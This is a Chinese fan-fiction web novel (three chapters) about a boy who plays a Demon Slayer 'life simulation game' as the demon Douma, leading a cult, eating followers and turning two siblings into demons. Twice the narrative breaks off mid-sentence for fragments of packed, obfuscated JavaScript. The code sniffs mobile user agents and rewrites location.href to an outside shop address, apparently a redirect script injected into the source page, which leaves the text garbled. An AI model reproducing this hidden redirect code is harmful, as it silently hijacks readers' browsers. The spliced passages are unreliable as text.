《可磨磨头只是在玩模拟人生啊》 1. 第 1 章 童磨自幼就是个特别的孩子。长着百八十个虹膜异色患者也混不出来的七彩玛丽苏眼,垂着反重力的天然罗马卷,每次发照片不明真相的网友都会吐槽怎么能让这么小的孩子cos玛丽苏oc…… 某种意义上这个形容也没错,四岁就在感叹众生愚昧的神之子能装能演断情绝爱,深有玛丽苏女主的潜质。 所以听说他被一款游戏吸引时,父母惊了。 七岁的小童磨跪坐在床榻上,弯腰用小小的手熟练地点击平板,表情凝重,脸颊软肉垂下一点,随机萌死一个路人。 虽然他正在干的事绝称不上可爱——处理他游戏里死去的“父母”。 这是个老套的故事,“父亲”出轨了他的信徒,母亲杀死父亲后自杀了。 人总是如此愚昧,困于痴妄。满足了金钱的野欲,欲望便愈发横生。 好蠢。 童磨往下扒拉了几个选项都不合心意。他不明白为什么过半的选项都是对父母安置方法的选择。当务之急不该是被弄脏的地板吗?血迹渗入就很难清理了。 换了个舒服的姿势,童磨点击了角落里的【自主】选项。 【检测到宿主意愿……】 【游戏连接中……】 【游戏连接完成!】 【恭喜您,天选之子,获得参加■灭世界的资格】 几行文字快速从童磨面前划过,他眼前一花,强烈的眩晕感上涌。 几秒之后,童磨扶着墙,口鼻间充斥的血腥味让他想吐。 ……墙?……血腥味? 他不是坐在床上吗? 后知后觉的童磨抬眸,果不其然看到了两具姿态丑陋的死尸,他们身体交缠在一起,流出的血液几乎包围住童磨。 游戏里出轨而后被迫殉情的npc们。 这游戏的剧本有够烂的。 童磨嫌弃地用宽袖捂住了口鼻再开始呼吸,但很快对游戏的探索欲暂时压过了他的恶心。童磨小心地伸出脚尖,试探性点了下血污,暗红色像是某种活物攀爬上他洁白的鞋袜,黏腻冰冷。 和现实中别无二致的感知。 ……啊咧。 这可真是,有趣极了啊。 童磨愉快地弯起眼眸,眸中细碎的光亮随着他的笑声颤动,七彩颠倒融合成一片冷寂。 笑够了,童磨拉响系着铃铛的绸缎叫来信徒——他不想直接这么走出去——他足趾不可避免会沾满鲜血,很恶心。 月色黯淡的夜中,童磨的七彩琉璃眸近乎光源,悲悯地俯视一切。 赶来的信徒们踩着血迹,惊讶又恭敬地对神之子俯身,也有年轻的信徒试图询问:“神子,两位大人已经……” “没关系的哦。”稚嫩而满怀笑意的声音响起,带着神的慈爱与悲悯,“他们只是提前一步脱离尘世,去往了极乐世界。不必为此忧心,这是长期努力下的、美好的必然结局。” 毕竟作为一行代码,根本不会“死亡”嘛,最多格式化。 他的声如涓涓细流,他的理如柔柔暖阳。 信徒们的脸上浮现出光亮,大部分竟然都信了他的鬼话。 ……都信了他的鬼话。 即使刚经历了穿越,依旧是坚定唯物主义者的童磨笑容染上一丝真实。 真是太笨了。 他漫不经心地想。 如果说出“极乐世界根本不存在,我也听不到神的声音”,恐怕会有相当一部分笨蛋去死吧。 他这么善良,可不见得这种景象。 “不要让他们的肉身被尘世玷污太久。”童磨愈发熟练地糊弄。 他踩着信徒飘来的布料离开,脚不沾地。在他身后,万世极乐教的两位创始人最后的痕迹被清除。 此后,神之子才是万世极乐教的教主。 【您已作出选择:维持神之子身份,继承万世极乐教】 【[普通人的幸福]共23条支线已关闭】 【[绝望的信徒]共7条死亡线已关闭】 字幕浮现在童磨面前,幼童停下了脚步,在月光下和它大眼瞪小眼。 “这不对吧?”童磨试图争辩,“身为游戏不应该让玩家体验所有支线吗?” 怎么就关闭了? 似乎是听懂了他的话,字幕怼到他眼前: 【鬼灭之刃·人生模拟游戏已开始】 【人生仅此一次,请谨慎选择】 “只能走一条支线什么的,太过分了吧。”小童磨脸上露出人性化的委屈,彩虹眼蒙上一层薄雾。 见字幕不为所动,小教主几秒后冷酷地收回了所有眼泪。 哭泣什么的,当然是演的啦。 不对不对,他刚才那么伤心,眼泪应该也是货真价实的。 压根没有悲伤这种情绪的童磨自信地想。 【关键剧情节点结束】 【开始传送】 “哎?哎哎?”童磨双手在空中挥舞,“等等,我还没玩——” “……够呢。”童磨注视着床榻,失神道。 他揉了揉脸,退出游戏页面,转而搜集起《如何维持一个教派》之类的书籍。 …… 现实游戏两头转的生活使童磨的心理年龄飞速增长。同学以为他在玩游戏实则他在看佛经;父母以为他在晃荡实则他在普渡信徒;老师以为他在玩游戏实则他在集中精力学化学…… 可喜可贺,万世极乐教获得了知识渊博的教主,不信天堂也不信地狱,唯独信他们死着比活着强。 …… “什么嘛,明明每天都要花几个小时在玩游戏上,还被夸赞优等生。太装了。” “没办法啊,脑子的差距。”他的好友羡慕地望向后方的同学。 一副不该存在于现实的样貌,这张脸的主人入校第一天先后自证了自己没有烫发、卷发、染发、带美瞳、在眼底刺青(只是睫毛啊喂)……才被风纪老师放进了校门。 但所有学生都觉得不能怪风纪老师。 反重力的刘海,脑后天然形成的罗马卷,还有那双氪了金的眼睛,真的很难不怀疑好吧! 在见识到童磨同样氪了金的大脑前,大家都是这么想的。 直到那个玛丽苏网瘾少年边沉迷游戏边拿了断层第一,同时考了五门舞蹈的九级。 太非人了。 太非人了! 怎么会有人吃喝喝玩玩乐乐就超过努力联系的人啊! 未来的上二大人打了个喷嚏,疑惑地眯起了眼。 但他很快忽略了这个小插曲,紧盯着手机屏幕。 ——有鬼到他的教派里来了耶! 会死吗?还是被人救下从而开启新的支线呢? 第一种游戏太快结束,有些可惜。第二种也不怎么样,他一点不喜欢热血少年漫的剧本。再说他也不为死去的教徒感到悲哀,作为npc的他们已经结束了鞠躬尽瘁的一生,获得了休息,是一件幸事才对。 【鬼即将来到你的面前】 【你选择:】 【A.装死】 【B.呼救】 【C.求饶】 【D.出卖钱财】 【E.出卖美色】 童磨兴致勃勃地将每个选项都翻了一遍,预判性自己选E的心态。 嗯哼~看来连鬼都认可了他的容貌呀~ (事实上,并不,E是死亡选项) 童磨遗憾而愉快地点击了【自主】 熟悉的眩晕感袭来,几秒后童磨站在华美昏暗的屋内,手中拿着半翻的经书。 雕刻精致的木制大门被缓缓推开,幽冷的月光涌入,恰好照亮了鬼的面庞。他微卷的黑发垂落在苍白的面颊两侧,玫红色眼眸中竖瞳锋锐。 哎呀,这就是鬼先生吗?比他想的要好看多了。 神子的双眸欢欣地眯起,合上经书,半遮住下半张脸:“怪不得半夜里闻到一股血腥味——”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292437|198513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他的视线越过无惨,落到外面尸体上,转瞬又收回来,笑眯眯道:“原来是被鬼先生你杀死了呀。” “你知道鬼?”无惨面色微动,童磨漠然到非人的反应让他没有第一时间杀死他,但他不喜欢童磨这副放纵的姿态。 “嗯嗯。听说过哦。但见面还是第一次。”童磨弯腰,笑嘻嘻地将脑袋往无惨手底凑,“呐,鬼先生可以把我也变成鬼吗?” “理由。”无惨居高临下。 没有丝毫恐惧反应……天生毫无情感的人。倒是不错的样本。 可惜没有执念,变成鬼后会相当弱小,只会浪费他的血。 “理由?”童磨歪头思考,缓缓道,“因为我要救赎我的信徒哦。” ??因为我要开启超稀有的鬼化if线哦。 无惨嗤笑:“你的教徒可死了不少。” “是呢。感谢鬼先生,结束了他们苦难悲哀的一生。”童磨说。 呐,反正再怎么样,这些npc也不能跳出框架,只会在日复一日的痛苦中重复他们的苦难,还不如死去。 哎呀,这么一想,万事万物都异常可悲呢。 无惨第一次正眼看这个小数派的教主,七彩的琉璃眸中无喜无悲。漠然的非人感渗出。 神性和魔性都重得可怕,偏偏一点人性也无。 无惨笑了起来,右手扣住童磨颅顶:“你的名字?” 童磨忽然反应过来自己的id还是一片空白,难过地撇了撇嘴:“没有名字。” 他居然忘记了给自己取名QAQ 无惨手下用力,五指穿透童磨的颅骨,血液顺着他的指尖滴落,将神之子洁白无瑕的长发染得猩红。 “童磨。”鬼王垂眸,“以后你叫童磨。” 童磨瞪大眼睛。 游戏里用本名什么的才不要!他要改名! 等等,游戏不会不提供改名卡或者改名即死吧? 童磨在三分钟内写完了八百字诉苦小作文,正待发作。可惜随着无惨血液的注入,他的意识逐渐模糊,剧痛从头顶向四肢百骸蔓延。无惨松手那一刻,童磨跪倒在地,痉挛地接受身体变化。 与此同时一些奇怪的画面闯入他的脑海,某张漂亮的脸被列为追杀对象,某朵模糊的蓝色彼岸花成为必须要寻找的事物…… 这就是稀有支线的特殊cg吗?感觉不错哎。童磨兴致勃勃。 无惨有些意外,童磨的转化时间居然不短,似乎有些天赋。 他涌上些恶趣味,卷来几具距离童磨住所最近的尸体——这些应该是他的熟人才对。 初生的鬼,吃掉最亲近的人…… 但下一秒无惨意识到童磨就是具无悲无喜的冰像,这些人对他毫无意义。 无惨无趣地转身,落下满屋的狼藉。 走出几步后,他身后忽然传来响亮的感谢声。 ??“……大人……您真是太善良了!” 无惨险些脚下一滑,难以置信地查看对方大脑。 除了空白就是对他善良的赞美。 无惨阴着脸关闭了查看——他和块冰块计较什么? …… 童磨接受了无惨的投喂。 相当奇怪,明明他也算是在友好和平环境下长大的新时代好人,但对于进食这件事没有丝毫抵触。 不过也确实没什么好抵触的。猪羊之于人是吃食,人之于鬼是吃食,同样的道理。 ……啊咧,差点忘记自己在现代也是个人类。 怎么办,好像变成变态了呢。 一定能开出更稀有的隐藏支线吧。 童磨抹了抹嘴,戴上莲花帽,脚步轻快地走出室内。 无惨大人是个好人,只顺手杀死了二十来个人,对比万世极乐教的总人数一点都不显眼。 就说……他们已经前往了极乐世界吧! 反正没有信徒会怀疑自己呢~ 真是乖巧可爱的npc们呀~ 2. 第 2 章 童磨暂时抛却大部分娱乐,专心研究变成鬼后新出现的面板和血鬼术。 【玩家姓名:童磨】 【身份:万世极乐教教主】 【种族:鬼】 【归属阵营:鬼方】 【等级:lv13】 【弱点:阳光,紫藤花,砍头(日轮刀版)】 【特殊技能:制冰(基础)(待拓展)】 【特殊称号:无】 童磨托着下巴观察了好一会儿,不得不承认自己现在弱得可怜。 十三级哎……随便一个鬼都能把他捏爆吧?血鬼术也只有一个,太可怜了。 心疼自己的童磨教主开始了畅吃顺便拓展血鬼术的日常。 把冰削成锥子大范围攻击get 把冰碎成小颗粒转变加点毒悄无声息进入人体get 把冰凝成柱子固定人鬼的身体get 把低温气体封存必要时候喷射get 把招式变成漂亮的莲花形/少女形/佛像形/自己形get …… 努力了相当长一段时间后,童磨忽然发现自己成了脆皮法师,忧伤地用金扇抵住下巴。转而想到自己是鬼,除了砍头都是轻伤,绝对不算脆皮,又开心起来。 啊,对了。 他还不知道砍头是什么滋味呢。 只要不是被日轮刀砍下应该没什么问题吧。 童磨兴致勃勃地握住自己的脑袋,用力一拧。 脑袋转了360°,没断。 童磨遗憾收手。 “童磨,你在干什么?”无惨的斥责在童磨脑海中炸响。 “大人——”童磨眼睛亮了起来,这是无惨把他变成鬼后第一次联系他,他热情地诉说,“我在研究砍头掉下来的滋味哦。” “就像这样。”童磨这回把脑袋拧了360°后没有收力,向上提了几十厘米后脖子就断了,他捧着自己的脑袋回复,“是很奇妙的滋味耶,感觉思维分成了两半,笨笨的那一半在身体里,像磁铁一样吸引聪明的一半。” 这可是现实绝对不可能体会的感受,超有趣的说~ 幸好无惨大人把他变成鬼了。 无惨再一次深刻认识到童磨的神经程度。 他还以为有鬼违背他的命令自相残杀了呢! 要不是看着童磨天赋还不错…… “大人。”童磨欢快得让人拳头发硬的声音持续回响,“您还在吗,大人?我真是太开心了,这是您第一次主动联系我,我已经有,唔,已经有足足十七年没有听到大人的声音了呢,好怀念哦~” 他差点以为自己的剧情引路人就这么残酷地离开自己了。 无惨深吸一口气。 “鸣女,把在万世极乐教的那个鬼传送过来。” 琵琶声响起,抱着自己脑袋的童磨从高空坠落,肋骨摔断了三根。 童磨利落地起身,捧起自己的脑袋,漂亮的头颅高高兴兴地喊:“大人~” 鸣女眼皮子一跳,不想直视。 “……把头接回去。”无惨压抑着怒气,阴恻恻道,“或者你不想要了。” 无惨大人真是无情。 童磨伤心地接上了断头。 无惨一拳打暴。 看着懵逼地再生头颅的童磨,无惨徐徐吐出一口气:“去换位血战。” “哎?”童磨歪头。 可是他想再把等级刷高一点来着,反正这个游戏不用氪也不用肝,吃吃喝喝睡睡等级就会涨…… 无惨懒得向童磨解释,命令鸣女:“把上弦六送过来。” 一个差点被柱杀死的废物,一个把自己头拧下来当球玩的神经,无惨一时不知道哪个更令人厌恶,所以决定让他们打一场,随机死一个来消气。 “大大大大,大人!”被传送来的上弦六簌簌下跪,哆嗦着说。 自知差点被柱杀死却一个柱都没留下的自己会被惩罚,他这几个月过得如履薄冰。 “有鬼对你发动了换位血战。”无惨冷声,“废物就呆在该呆的地方。” 刚长好头颅的童磨豆豆眼,发动换位血战,他吗? 好麻烦嘛~既然是无惨大人的意愿,他当然愿意顺从啦~ 看着自己【lv61】的等级和对方【lv56】的等级,童磨露出灿烂的笑容,向即将下线的同僚招手:“幸会幸会,我是童磨,万世极乐教的教主。不用害怕,一脚踹就是极乐世界哦~” 上弦六没听懂这个彩虹屁在讲什么,但对方神色轻浮,手里只有两把花里胡哨的扇子,一看就不是个合格的剑士。 他怒吼一声,冲了上去。 …… 他娘的。 彩虹屁不是个合格的剑士,但他是个合格的法师! 毒素顺着细小冰锥侵入上弦六的身体,不致命,但足以麻痹。三四个冰人围着他,孜孜不倦地切割他的血肉消耗他的再生能力。 随着他的血肉被彩虹眼吞噬,对方脸上渗出病态的红晕,以少女的姿态捂住脸:“美味至极……多谢款待,我会好好对待阁下的尸体的!” 谁要你保证啊,神经病!上弦六无声怒骂。 而无惨五个大脑同时被一个念头充斥。 ——果然还是两个都去死比较好吧! 无惨用了平时数倍的力气给童磨划字,七彩的琉璃眸滴落血液,纯净又可怖。 接着是赐血。 童磨双眼亮晶晶地看着面板一路上升到【lv63】的等级,痛并快乐着。 无惨大人果然是引导他走剧情的大好人。第一次帮他开启了鬼化线,第二次帮他开拓了无限城地图。 赞美无惨大人! 大好人不想和童磨多呆,赐完血后勉强扔了句“继续努力”就走了。 童磨若有所思,可惜半点没设想无惨讨厌自己的可能,相反自信满满地得出结论—— 无惨大人的性格是游戏里常见的傲娇系吧。 明明很满意,但总是冷着一张脸掩盖自己的心意。 这样可不行呢。 他要更加努力地接触无惨大人和同僚们,开启更精彩的支线。 决定以后玩法的童磨笑眯眯朝鸣女招手:“琵琶姐姐!” 鸣女鬼躯一震,轻声细语道:“上弦六大人,唤我鸣女即可。需要我将您送回远处吗?” “可以吗?”童磨歪头。 超稀有的空间系能力,一定是重要剧情人物,要好好结交才对。 可以的。鸣女期待地替他回答。 “以后我还可以来这里吗?” “可以的。”鸣女不情不愿地回答。 “那就谢谢琵琶姐姐啦。”童磨双手指尖点在一起,“麻烦把我送到上弦五大人附近。” 很快无惨成了看热闹的人——童磨决定依次拜访另外五位上弦。 常规来讲,无惨讨厌鬼无事聚集。 但此时此刻,他有向全世界展现自己捡到的神经的举动。 独气气不如众气气,不是吗? 童磨:新地图,新角色,新剧情,我来啦! …… 童磨的探索之路中途夭折——被上弦三猗窝座扔回了无限城。 教主大人百思不得其解——明明玉壶阁下和半天狗阁下都很好相处啊。玉壶阁下邀请他欣赏艺术品后还送了他一个漂亮的壶。为表感谢,他决定按照玉壶阁下的审美往里面放点人的器官。 怎么到猗窝座阁下这里就不行了呢?猗窝座阁下这么排斥和他交流,可是会失去一个知心好友的呀。 “猗窝座阁下!”童磨死死抓住猗窝座的脖子,真诚发问,“你真的不愿意和我做朋友吗?” “滚!”猗窝座蓄力,即将打中时,那颗讨人厌的脑袋恰到好处地避开。 猗窝座按耐不住揍鬼的心——这个新来的上弦六一直在挑衅他,一见面手里提着一位女性稀血就冲上来了,还说这是“见面礼”——他最讨厌女人了! 之后还装得一副无辜的样子说“猗窝座阁下居然不吃女人吗?品味好奇怪哦。不过我会包容的。” ……一直在挑衅! 但事实上,这次真不能怪童磨。 彼时他打开背包,【稀血】一栏的物品布灵布灵闪烁着高贵的金色光芒,底下还注释:鬼喜欢的食物。好心分享食物的童磨就取出了物品,一路提着冲到猗窝座面前——这位“稀血”奄奄一息,他以己度人想让对方吃上热乎的。 结果遭到了猗窝座拳头的热烈欢迎。 童磨暗暗戳了没投诉:送稀有礼物不加好感,差评! 肯定是机制的问题,不是热情善良的童磨的问题! …… 【玩家姓名:童磨】 【身份:万世极乐教教主】 【种族:鬼】 【归属阵营:鬼方】 【等级:lv66】 【弱点:阳光,紫藤花(强混合毒),砍头(日轮刀版)】 【特殊技能:莲叶冰、蔓莲华、散莲华、飞散莲华、玄冬冰柱、寒烈之白姬、枯园垂雪、结晶之御子、雾冰·睡莲菩萨、转化(通过分出血液,将身体强健的人转化为鬼)(形式上需征得鬼舞辻无惨同意)】 【特殊称号:十二鬼月·上弦六】 “多了个新技能呢,【转化】……可以把喜欢的孩子变成鬼?”童磨浏览面板。 和无惨大人同出一源的技能哎,有机会一定要试试。 啊……可是对大家来说还是死亡更轻松吧? 极乐教教主缓缓展开折扇,放弃思考,决定先去游郭整点小零食。 吉原游郭是一位眉目秾丽而五脏腐烂的女郎,华美的十二单之下盛开玫瑰形的伤疤,骨瘦伶仃的手缀满珠宝与烟酒。漫步其中,眉眼为五光十色朦胧时,那股奢靡的腐烂味道就一点点侵入肺腑。 游女们用铅粉将脸搽得苍白,脸上堆出重复千百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292438|198513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次的笑容,日复一日对来客献媚讨好。 可怜的孩子们。 晶莹剔透的泪珠自童磨眼角滴落,将他厚长浓密的睫毛染成湿而重的深黑。然而下一刻金扇展开,妖媚的莲花遮掩住他下半张脸,那双琉璃瞳里又只剩下朦胧胧的笑意。 就让他来救赎他们吧。 食人鬼脚步轻快。 他的袖口拂过一双双游女的手,柔顺的布料被人的肌肤勾出细线。 明明游郭背景设定在十八世纪上下,这些人的身上却看不到科技的痕迹。 童磨永远与贫穷同在。越是相近越是极端。 在无数人啜泣的纸金迷中烟花升空,纤长的芯子在夜海中燃烧,四散成凋零的花,一派绚烂。 人们言笑晏晏,高举双手。 与此同时,一声凄厉的、裹挟着血腥味的悲恸飘散。 童磨耳尖微动。 唔……把什么东西……一个人名?还给他? 呀,伴随血腥味还不算浓呢。如果是砍击的出血量,应该有人回归极乐了吧。 在这种地方为了他人而悲鸣,反差感什么的真可爱。 童磨调转了方向,闲庭漫步,却也在十几秒后到达现场。 少年枯瘦面容上爬满黑色印迹,身材瘦到畸形,紧紧抱着一个焦黑的……人?跪倒在地上,脊背处冒出的热血滴落,融化了残雪。 在他身边,一击毙命的武士尸体和战战兢兢的游女瘫倒。 是重要的人被杀死后临死突破绝地反杀的剧情吗?文字或许寡淡,在现场看冲突却极为强烈呢。 “那个人,快要死了哦。”童磨好心出声。 妓夫太郎茫然地抬头,“求求你……救救她……” “真是让我伤脑筋的事呀。”童磨微笑着说,顺手摘下了那个碍眼的大喊大叫的人的脑袋,“不过我是个大善人,不会坐视不管的。” 他借着宽大袖袍掩饰,轻轻甩了下金扇,细小冰晶坠落为雪。 嗯哼,场景布置完成,氛围感拉满。不愧是他的血鬼术。 “对了,给你一些血好了。”童磨眨了眨眼,开心地伸出手,“只要被那位大人选中——” 过了几秒,无惨回复:【可】 好耶。 童磨愉快地发动了转化技能。 血自他的腕部蜿蜒而下,带着他的生命与温度流入两具奄奄一息的身体。像是末冬时节,解冻的溪流缓缓淌过干涸的土地,带来冰寒刺骨的生机。 于是万物复苏。 微弱的心跳逐渐强劲。鲜红的器官在振动中摆脱脆弱的种族限制。焦黑的表皮开裂,露出白如新雪的肌肤。生命以强横的姿态支撑起孱弱的人。 于将死之人而言,鬼化是唯一的药。 于被人排斥的异类而言,鬼化是另类的救赎。 “感谢……您……”双臂开始异化的少年嗓音嘶哑怪异,却不难听出感激。 “专心做事啦。”童磨以抱怨的语气说,用扇柄敲了一下他的脑袋。 妓夫太郎于是低头。 进度条缓慢推动,童磨压着伤口,无聊地打了个哈欠,反复放出收回面板。 哦对。 除了转化技能,他还多了个称号来着。 【十二鬼月·上弦六】 虽然前任上弦六弱得可怜,感觉这个称号也没什么含金量啦…… 嗯嗯,不过可以用这个激励一下这两个孩子,要是能打败他就再有趣不过了——即便不行,到一定强度之后就可以陪他玩了吧! 童磨眼尾低垂,端的是菩萨姿态:“不知道你们能否成为十二鬼月,乃至像我一样,进入上弦的行列。” 看着鬼化即将完成的两人,童磨觉得成就感满满。将早已冷却的尸体甩到他们面前,语气怜爱:“乖孩子,吃吧。” 看起来很久没吃过饱饭了呀~ 不过成为鬼后,就不会有这个问题了。 这副即便痛苦绝望也要挣扎着活下去的姿态,实在是十分美丽呢~ 兄妹二人拱了一下食物,宛如本能般伏低身体进食。 “对的,就是这样。”童磨蹲下,像撸猫一样揉着二人头顶。 好幸福~ 要是游戏能开发一个【领养】【养成】板块就好了。 啊啊啊好像不行。 无惨大人禁止鬼之间聚集来着QAQ 可是他们这么小小的两只,真的好想养的说。 “无惨大人~”不死心的童磨脑内通讯,“我转化的孩子特别特别可爱,可以寄养在我家教教会吗?” 几分钟后,童磨迎来了上司冷漠的回复: 【你寄养的脑子似乎还没归位】 好过分。 童磨撇嘴,八字眉下垂,像是两瓣伤心蜷缩的墨菊花瓣。 看起来打不出把收养的孩子装成人类送入鬼杀队结果孩子被感化背叛了鬼自己伤透心最后被杀死的美妙剧情了QAQ 3. 第 3 章 说实话,当童磨提出领养请求时无惨敏感的神经动了一下,狐疑地查看这位上弦之六的大脑。 然后看到了此鬼五分之一的脑子塞着扭曲的价值观宗教观(被他吃掉就能一起永生),五分之一列着教徒的姓名容貌生平和死去的姿态,五分之一的脑子不断为前面被他吃掉的信徒哀悼落泪(自以为悲痛欲绝),五分之二的脑子兴致勃勃地打算找乐子并抒发了对众鬼的喜爱之情——这片区域他和另外五位上弦的名字频繁出现。 快速阅读中,无惨恍恍惚惚听到童磨不停地叭叭:无惨sama你知道吗只要被吃掉就可以和鬼一起永生哦所以吃掉了最多人并坚持制造鬼的您是一直在努力救赎他人的好人对啦我前几天遇到了一个可爱可怜一直被恶人压迫的孩子但恶人怎么也不会受到惩罚呢真是太可悲了所以为了她的幸福我把她吃掉啦怎么样我很善良吧…… 无惨当机立断中断查看,感觉自己的大脑受到了见手青的攻击,精神恍惚。 [你寄养的脑子貌似还没归位!] 鬼王阴恻恻地回复,得到了童磨悲伤的抽噎声,心情终于好了点。但马上想到此鬼完全是装的,心情又差了下去。 嗯……刚好童磨分出了不少他的血,实力应该变弱了……让他看看最近下弦壹有没有努力…… 无惨满怀希望地将目光投向下弦。 失望而归。 ……算了。 看在童磨又提供金钱又提供人脉的份儿上,他不管了。 另一边的童磨蹲在雪地里碎碎念,顺便捏了几只结晶之御子当听众。 妓夫太郎和谢花梅进食完,也糊里糊涂地学着御子蹲了下来,懵懂地听着童磨念叨自己有多么多么伤心多么多么可怜。 碎碎念了二十来分钟,童磨终于发泄完了表演欲,顷刻变脸,笑眯眯地邀请二鬼:“呐呐,要不要来我的教会玩呀~” ——无惨大人只说了不能寄养,但串门是很正常的吧。 妓夫太郎点头,此时童磨在他眼里叠加了救梅恩人buff,十分高大上,说的话必定是金玉良言。 谢花梅也学哥哥的样子点了点头。 明明不知道发生了什么,却毫不犹豫地效仿哥哥的动作,真是愚蠢又可爱呢~ 童磨心情愉快地将两人带回了万世极乐教,美其名曰教导常识。 忍不住又瞥了一眼童磨的鬼舞辻无惨:…… ——你自己当鬼的常识都只有我给你灌的,能教什么? 但鬼王看了看童磨上供的钱财,还是睁只眼闭只眼——总归童磨不是来烦他,能安分点也好。 万世极乐教。 师兴大发的童磨随地取材,捡起一根指骨点在空白屏风上:“你们现在是鬼——来,跟我念,鬼——” 妓夫太郎隐约感觉不对劲。 谢花梅歪头:“鬼——” 妓夫太郎硬着头皮念:“鬼。” “好棒好棒~”童磨海豹鼓掌。 妓夫太郎豆豆眼——果然不对劲吧! 童磨思维发散:“那位大人的血拥有将人转变为鬼的能力,所以所有鬼体内都蕴含着同样的血,听起来是不是像家人一样呢~” 哇,这么一想,无惨大人简直就是鬼灭游戏的卡夫卡耶~ “对了!鬼是珍贵的同伴,不能随便杀死或吞噬。当然啦,也有例外。”童磨指了指自己的眼睛,“眼睛里拥有数字的上弦和下弦之鬼,是那位大人遴选出来的强者。向他们发起换位血战后,如果胜利,就能吃掉他们啦~” 他无忧无虑地微笑:“当然,输掉的话就是被吃了,很公平呢~” 没有氪金的家伙随便复活真是太好了~ [忽然正经起来了] 妓夫太郎认真听讲,去除黏糊糊的语气词后一字一句牢记。 [嗯,童磨大人果然很强] 谢花梅直视那双七彩融合交汇的眼睛,莫名觉得刻字简直是玷污。 [对了对了,鬼相互之间可以做这种事……不能把他的浓眉刮了刻在那个位子吗] [你们有在好好听讲吗?] 童磨的声音幽幽地在两人脑海中炸响。「就像这样——] 走神的谢花梅一僵。 应激的妓夫太郎险些炸毛。 看着两人错愕的脸色,童磨捂嘴嬉笑,盘坐在地上:“真是可爱呢~” “所以小梅和小太郎千万、千万要记住处理好同事关系~” “万一遇到杀不死的人类就把好心同事叫出来,一起打团~” 要学习他,和大部分同事都相处得很好! 童磨骄傲地挺起胸膛。 尚不知童磨鬼缘的妓夫太郎和谢花梅深以为然。 原来他们的新种族这么团结友好啊,真是太棒了。 …… 今天依旧是活力满满救赎信徒的一天! 已经将此列为每日任务的童磨在表上打了个勾,愉快地开始接收信徒的血肉。 可怜的孩子,太敏锐了,死前心里满怀恐惧呢。 童磨怜爱地合上她因恐惧而瞳孔放大的双眼,修长的指节如木梳穿过她乌黑亮丽的长发。长发末梢打了个卷,套在他的指尖。 童磨也不恼,一下一下,慢慢梳通了一头墨发。 【吸收完成】 提示的话语浮现在童磨面前。 “知道啦~不用每次特意提醒我的。” “哦对,忘了你的理解能力不强了。抱歉抱歉,继续提醒吧。”童磨摆摆手。 随着童磨等级升高,接收信徒血肉的速度越来越快。因而更多时候,尊重信徒的教主选择“进食”而非“吸收”。 但今天是个例外。 这是个罪孽深重的孩子,永远不懂满足。因为嫉妒毒死了六个人。他只好通过吸收全盘接受她的罪孽。 谁叫她是他的信徒呢? 他总要对她负责的。 极乐教主哼着歌走入另一个房间,将女人的头颅放到了玉壶阁下的壶上——这是他觉得相当合适的人类器官。作为人类曾经思想的储藏地,死后却成了一片空无,非常具有艺术美感,和玉壶阁下的壶相衬。 女人的长发披散下来,像是一朵潦草的花。 童磨拿起木梳,一下一下为她除去血污。 可惜静谧的时光总是短暂的。教主大人的独处时间更是微乎其微—— “童磨大人!” 哎呀,这就是被侵入私人空间的感觉吗?不错不错,他都要害羞了。 童磨羞涩捂脸,指缝完美露出一双不停眨巴的卡姿兰大眼。 之前被童磨告知从暗道进入这个房间的谢花兄妹如果知道教主在想什么,怕是会气得发笑。 两个脑袋冒出,只是和往昔不同,一只蓝瞳和黄眸都刻上了“下弦壹”,前者满是骄傲,后者沉稳许多。 孔雀和角雕。 童磨被自己的联想逗得笑了一下,接着做作地表现出惊叹:“哎?你们已经是下弦壹了?” 他眼睛微微睁大,眼神清澈又无辜,配上白橡色长发活像只单纯的大白兔:“啊~考虑向我发起换位血战吗?要挑战玉壶阁下或半天狗阁下的话,我也有详细情报哦。” 自己亲手转化的孩子继承自己的衣钵什么的,超赞啦~ “我们没有这个意思,童磨大人。”妓夫太郎急忙摆手,“我和小梅……堕姬还没到能挑战上弦的地步。” 童磨挑眉。 谢花兄妹等级比他低,可以查看面板。 【姓名:谢花妓夫太郎/谢花梅(双生鬼)】 【身份:京极呈现任花魁】 【种族:鬼】 【阵营:鬼方】 【等级:lv58】 【弱点:阳光,紫藤花毒(强),砍头(日轮刀版)】 【特殊技能(隐藏)】 【特殊称号:十二鬼月·下弦壹】 “已经比我的前任强了哦,很厉害呢。”童磨不吝夸赞。 啊啦,不过前任实在太弱了,比lv65的玉壶阁下低了9级,比lv72的半天狗阁下低了16级,比lv84的猗窝座阁下低了28级,完全就是废物嘛。 说起来,他终于把等级刷到lv86了,可以安心去拜访(骚扰)猗窝座阁下了—— 对了! 猗窝座阁下喜欢战斗,如果向他发起换位血战,在酣畅淋漓的打斗后他再温柔地扶起猗窝座阁下,猗窝座阁下一定会被他的善良和真诚打动,从此成为自己的知心好友开启传奇的隐藏支线吧! 一定会这样吧! 哇呜,迫不及待了。 谢花兄妹完全猜不出童磨的想法有多离谱。演技绝佳的教主大人从始至终温柔地说话,看起来相当可靠。 给谢花兄妹灌完心灵鸡汤后,童磨迫不及待地联系了鸣女:“琵琶姐姐!” 知道童磨年纪比自己小但依旧讨厌这个称呼的鸣女弹琵琶的手一顿:“童磨大人。” 谁家熊孩子! “琵琶姐姐,可以帮我传送到猗窝座阁下那里吗?” “抱歉,童磨大人。猗窝座大人之前明确表示过拒绝您的所有拜访,他的级别比您的高。” 